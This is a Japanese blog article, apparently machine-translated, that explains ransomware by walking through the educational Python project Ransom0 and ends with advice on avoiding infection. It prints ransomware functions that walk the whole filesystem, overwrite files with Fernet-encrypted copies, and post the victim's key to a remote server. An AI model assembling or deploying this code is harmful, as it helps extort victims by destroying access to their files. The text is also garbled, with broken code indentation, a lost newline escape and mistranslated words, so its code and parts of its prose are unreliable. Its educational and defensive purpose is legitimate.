オープンソースのランサムウェア コードを分析して攻撃を理解する

ランサムウェアは、サイバー犯罪者がコンピューターとそのデータを人質にするために使用する悪意のあるソフトウェアです。 このソフトウェアはコンピューターを乗っ取り、そのファイルを暗号化します。攻撃者は、身代金が支払われたら暗号化を解除すると約束します。

ランサムウェア攻撃では、攻撃者が銀行やサービスを装った電子メールを送信し、受信者にファイルのダウンロードを求めることがよくあります。 被害者は偽の電子メールにだまされ、ファイルをダウンロードし、無意識のうちにコンピューターをランサムウェアに感染させます。

次に、コンピュータの画面は、個人ファイルが暗号化されていることを伝えるメッセージで覆われ、攻撃者に復号化サービスの料金を支払う以外にそれらを復号化する方法はありません。 被害者は、ファイルを復号化するために攻撃者に支払いを行うように指示されます。支払いを行わないと、特定の日数でファイルが削除されます。

ランサムウェア コード

このランサムウェアの例では、ランサムウェアが基本レベルでどのように機能するかを示す教育用オープン ソース プロジェクトである Ransom0 を使用します。 このプロジェクトは、C などのランサムウェアで一般的に使用される他の言語と比較して、単純な構文が読みやすく、一目で理解できる言語である Python で記述されています。

Ransom0 は、被害者のコンピューターでファイルを見つけ、それらのファイルを暗号化し、一意のキーをリモート サーバーに送信して、ユーザーがファイルを復号化するための支払いを行うのを待ちます。 これは教育プロジェクトであるため、実際の支払いは必要ありません。 ランサムウェアがファイルを暗号化した後、ユーザーはファイルを復号化できます。

次のコード スニペットは、実際の攻撃者がこれらの悪意のあるアクションを実行するために使用する機能を明確にしています。 たとえば、次の ファイル検索 関数は、被害者のコンピューター上のすべてのファイルを見つけます。

def FindFiles(self):
    f = open("logs/path.txt", "w")
        for root, dirs, files in os.walk("/"):
            # for root, dirs, files in os.walk("YOUR/TESTING/DIRECTORY"):
                if any(s in root for s in self.EXCLUDE_DIRECTORY):
                    pass
                else:
                    for file in files:
                        if file.endswith(self.EXTENSIONS):
                            TARGET = os.path.join(root, file)
                            f.write(TARGET+'n')
                            print(root)
    f.close()

この関数は、テキスト ファイルを開きます パス.txtプログラムはこれを使用して、見つかったすべてのファイルを記録し、3 つのタプル (ルート ディレクトリ、その他のディレクトリ、およびファイル) をループします。 os.walk() 方法。

ルート ディレクトリ、その他のディレクトリまたはファイルが除外ディレクトリのリストにある場合、パスはそれらを無視します。 それ以外の場合、各ファイルは次の場所に追加されます パス.txt. このループは、ファイル システム全体を通過するまで続きます。

暗号化するファイルのこのリストを作成する パス.txt 次のステップであるファイルの暗号化に進みます。

def Encrypt(self, filename):
    f = Fernet(key)
    with open(filename, "rb") as file:
        file_data = file.read()
    encrypted_data = f.encrypt(file_data)
    with open(filename, "wb") as file:
        file.write(encrypted_data)
    print(filename)

お茶 暗号化する 関数はファイル名を取得します パス.txt そしてファイルを読み取ります。 次に、対称認証暗号化の実装である Fernet を使用して、そのファイル内のデータを暗号化します。これは、秘密鍵または秘密鍵とも呼ばれます。 次に、関数は暗号化されたデータをファイルに書き戻します。 ファイルの暗号化に使用される秘密鍵がなければ、妥当な時間内にファイルを復号化することは困難です。

キーホストを保持するには、 データを送る 関数はキーとその他のデータをリモート サーバーに送信し、被害者が支払いを送信するまで保持します。

def SendData(decrypted):
    now = datetime.now()
    date = now.strftime("%d/%m/%Y %H:%M:%S")
    data = f'[{digits}, {key}, "{date}", "{decrypted}"]' 
    requests.post(url, data)

攻撃者は復号化キーを所有しているため、身代金が支払われるまで待機して、被害者のファイルを復号化するためのキーを送り返します。

この例では、tkinter と呼ばれる Python パッケージを使用して、ファイルが暗号化されていること、支払う金額と支払い先をユーザーに通知する GUI を作成します。 また、攻撃者が支払いを受け取った後、ユーザーがクリックしてファイルを復号化できるボタンも含まれています。

実際のランサムウェア攻撃と. 身代金0

Ransom0 プロジェクトと実際のランサムウェア実行可能ファイルとの間には、いくつかの大きな違いがあります。 まず、実際のランサムウェアのソース コードは通常入手できません。 元のコードを把握する唯一の方法は、実行可能ファイルを逆コンパイルすることです。

さらに、実際のランサムウェアのソース コードは、コードを読みにくくするために特別に設計されたツールによって難読化されていることがよくあります。 悪意のあるアクターは、コードを秘密に保ち、可能な限り検出を回避するために、できる限りのことを試みます。 彼らは、ランサムウェアが持つ可能性のある外部接続にたどりにくい URL を使用するなど、他の多くの方法を使用して識別を回避します。

ランサムウェアを回避する方法

ランサムウェアは、長年にわたって世界中の被害者に影響を与えてきました。 残念ながら、上記の例のようなスクリプトまたは実行可能ファイルは、マルウェア保護ツールで識別するのが困難です。 わずかな変更を加えるだけで、マルウェア保護ツールが使用するフィンガープリンティング テクノロジを簡単に回避できます。

マルウェアを防止する最善の方法は、認識です。 不明なソースからファイルをダウンロードしないでください。 ウェブサイトや電子メールに問題があると思われる場合は、それを気にしないでください。 本能に従い、他の信頼できる情報源を使用して懸念を検証してください。

Leave a Comment

Your email address will not be published. Required fields are marked *